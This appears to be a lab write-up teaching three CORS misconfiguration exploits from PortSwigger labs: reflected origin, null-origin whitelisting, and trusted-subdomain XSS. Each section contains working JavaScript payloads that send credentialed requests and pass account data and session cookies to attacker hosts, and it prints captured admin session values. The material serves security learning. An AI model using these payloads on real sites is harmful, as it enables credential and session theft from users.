Insecure CORS Policy
- Cross-Origin Resource Sharing (CORS) is a browser mechanism that allows controlled access to resources outside a given domain.
- It extends and adds flexibility to the same-origin policy (SOP).
- However, it also offers the potential for cross-domain attacks if a website’s CORS policy is poorly configured and implemented.
Table of Contents
- CORS with Origin base mirrored
- Origin only allows null origins
- CORS with insecure reliable protocols
CORS with Origin base mirrored
We can see the result of the data in the response.
And the customized origin is reflected, which tells us that it is vulnerable.
Origin: http://web-testing.com
✅
We create a custom html so that this data is sent to our malicious page to steal this data.
- Malicious web HTML:
<html>
<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://web.com/accountDetails',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com/log?key='+this.responseText;
};
</script>
</html>
When the user visits our site it will send the data from that endpoint to our site where it can be seen in the logs of our server.
Origin only allows null origins
When we modify the Origin it is not reflected in the request.
Origin: http://web-testing.com
❌
We can see that the website only allows Origins that are null.
Origin: null
✅
- An attacker can use several tricks to generate a cross-origin request containing the
NULL
value in the Origin header. -
This will satisfy the whitelist, leading to cross-domain access. For example, this can be done using an
iframe
cross-origin request in isolated form space: - Malicious HTML web:
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,
<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://web.com/accountDetails',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com/log?key='+this.responseText; };
</script>
">
</iframe>
With the location
we are indicating that this response that has the sensitive data is sent as parameters to the attacker’s page.
This is the request that the victim user makes from behind when visiting our page.
1- Visit the attacker page and execute the javascript script we have created.
2- When it reads the location it sends the data
3- When the user visits our page it will send the data of that endpoint to our page where it can be seen in the logs of our server. Server logs:
Url Decode: We have: User, email, apikey and the session (The cookie that is linked to the user).
Filtering administrator data
Now imagine that the administrator visits our page, we get his data and in that data is included the session cookie that we can use to enter your session Server logs:
Url Decode:
We already have the administrator session
Admin Session: F1BVIVSoQvTaB8i6HJ25gxtJdvJKweuz
CORS with insecure reliable protocols
The website only trusts domains that belong to it, i.e. its subdomains.
We do a test with our site in the origin and we get no reflection.
Origin: http://web-testing.com
❌
We tried with a subdomain and it is reflected.
Origin: http://subdomain.web.com
✅
We found a valid subdomain
This subdomain is vulnerable to XSS reflected in the productId parameters, this will help us to execute our script since the page only trusts its subdomains.
XSS in subdomain
We exploit this vulnerability to exploit cross-domain trust to exfiltrate data to our server.
Our malicious web
- HTML malicious web:
<html>
<script>
document.location="http://subdomain.web.com/?search=<script>var req = new XMLHttpRequest(); req.onload = reqListener;req.open('get','https://web.com/accountDetails',true);req.withCredentials = true;req.send();function reqListener() {location='https://evil-web.com/log?key='%2b%this.responseText; };%3c/script>"
</script>
</html>
When the victim user visits our page he will execute the XSS of the subdomain containing the script that makes a request to the page vulnerable to cors by domain trust and the response of that request is sent to the logs of our server.
1- The user visits our malicious page which contains the main script
2- The javascript is executed and sends the user to the subdomain and executes xss
3- As the script comes from a trusted domain configured by the cors of the final page, it is executed on the page vulnerable to CORS.
4- As it was malicious, the response was sent to the attacker’s server with all the sensitive data. Finally the data is sent to the malicious page as we can see with this intercepted request.
5- These data are saved in the logs of our page as an attacker. In which in this case are sent username, email, apikey and session cookie.
6- In the most extreme case as we have explained before, if an administrator visits our page we will have his session cookie.
7- Using the administrator’s session cookie
Admin Session: clljARot4Lc4KkFHfIylENGZmZbzYwD7
Conclusion
- This always depends on the response to the endpoint that we point.
- In this example the user’s session cookie or email was sent, but this is a particular case because the webs are very different from each other, as the above point says, it all depends on the response of the endpoint.
-
Understand what trust relationships are handled in CORS policies because there may be a CORS vulnerability but it does not have to be offensive. Like everything else, it depends on the context.
- Source Labs: Portswigger Labs
- Credits Image: Portswigger